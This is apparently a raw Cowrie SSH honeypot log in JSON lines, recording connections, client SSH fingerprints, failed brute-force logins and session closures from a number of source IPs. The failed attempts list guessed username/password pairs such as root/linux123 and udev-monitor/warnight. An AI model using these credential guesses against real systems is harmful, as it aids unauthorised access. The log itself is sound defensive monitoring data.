{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:24.255553Z","src_ip":"194.59.206.2","session":"02ec49ce20e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:24.348089Z","src_ip":"194.59.206.2","session":"02ec49ce20e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mr123","message":"login attempt [root/mr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:24.744106Z","src_ip":"81.192.46.49","session":"02e7a928d574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:25.862588Z","src_ip":"81.192.46.49","session":"02e7a928d574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":24532,"dst_ip":"10.17.0.5","dst_port":22,"session":"758c9404f37a","protocol":"ssh","message":"New connection: 175.107.32.186:24532 (10.17.0.5:22) [session: 758c9404f37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:39.512174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:39.520933Z","src_ip":"175.107.32.186","session":"758c9404f37a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:39.739327Z","src_ip":"175.107.32.186","session":"758c9404f37a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:40.641861Z","src_ip":"175.107.32.186","session":"758c9404f37a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:41.863792Z","src_ip":"175.107.32.186","session":"758c9404f37a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":39176,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecc975286302","protocol":"ssh","message":"New connection: 107.0.200.227:39176 (159.203.135.109:22) [session: ecc975286302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:41.974008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:41.978636Z","src_ip":"107.0.200.227","session":"ecc975286302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:42.011052Z","src_ip":"107.0.200.227","session":"ecc975286302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:42.168247Z","src_ip":"107.0.200.227","session":"ecc975286302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:43.203737Z","src_ip":"107.0.200.227","session":"ecc975286302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":33326,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0dfd761ea09","protocol":"ssh","message":"New connection: 45.61.187.220:33326 (159.203.135.109:22) [session: a0dfd761ea09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:52.539305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:52.548459Z","src_ip":"45.61.187.220","session":"a0dfd761ea09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:52.599146Z","src_ip":"45.61.187.220","session":"a0dfd761ea09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@55w0rd","message":"login attempt [test/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:52.822049Z","src_ip":"45.61.187.220","session":"a0dfd761ea09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":39694,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c1f1675f9f0","protocol":"ssh","message":"New connection: 66.113.163.125:39694 (159.203.135.109:22) [session: 2c1f1675f9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:53.244376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:53.248839Z","src_ip":"66.113.163.125","session":"2c1f1675f9f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:53.283889Z","src_ip":"66.113.163.125","session":"2c1f1675f9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:53.462595Z","src_ip":"66.113.163.125","session":"2c1f1675f9f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:53.876592Z","src_ip":"45.61.187.220","session":"a0dfd761ea09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:13:54.500590Z","src_ip":"66.113.163.125","session":"2c1f1675f9f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":60364,"dst_ip":"10.17.0.5","dst_port":22,"session":"4252c05af551","protocol":"ssh","message":"New connection: 159.195.79.219:60364 (10.17.0.5:22) [session: 4252c05af551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:05.041047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:05.050760Z","src_ip":"159.195.79.219","session":"4252c05af551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:05.143182Z","src_ip":"159.195.79.219","session":"4252c05af551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support","message":"login attempt [root/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:05.549107Z","src_ip":"159.195.79.219","session":"4252c05af551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:06.643916Z","src_ip":"159.195.79.219","session":"4252c05af551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":59970,"dst_ip":"10.17.0.5","dst_port":22,"session":"a03686489c35","protocol":"ssh","message":"New connection: 92.191.96.70:59970 (10.17.0.5:22) [session: a03686489c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:17.315651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:17.319861Z","src_ip":"92.191.96.70","session":"a03686489c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:17.445073Z","src_ip":"92.191.96.70","session":"a03686489c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:17.972577Z","src_ip":"92.191.96.70","session":"a03686489c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:19.100471Z","src_ip":"92.191.96.70","session":"a03686489c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":50728,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0f770b73005","protocol":"ssh","message":"New connection: 81.192.46.49:50728 (159.203.135.109:22) [session: c0f770b73005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:43.042956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:43.047246Z","src_ip":"81.192.46.49","session":"c0f770b73005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:43.161825Z","src_ip":"81.192.46.49","session":"c0f770b73005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:43.654994Z","src_ip":"81.192.46.49","session":"c0f770b73005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:44.776865Z","src_ip":"81.192.46.49","session":"c0f770b73005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":35724,"dst_ip":"159.203.135.109","dst_port":22,"session":"92c580da7153","protocol":"ssh","message":"New connection: 107.0.200.227:35724 (159.203.135.109:22) [session: 92c580da7153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:48.075315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:48.078429Z","src_ip":"107.0.200.227","session":"92c580da7153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 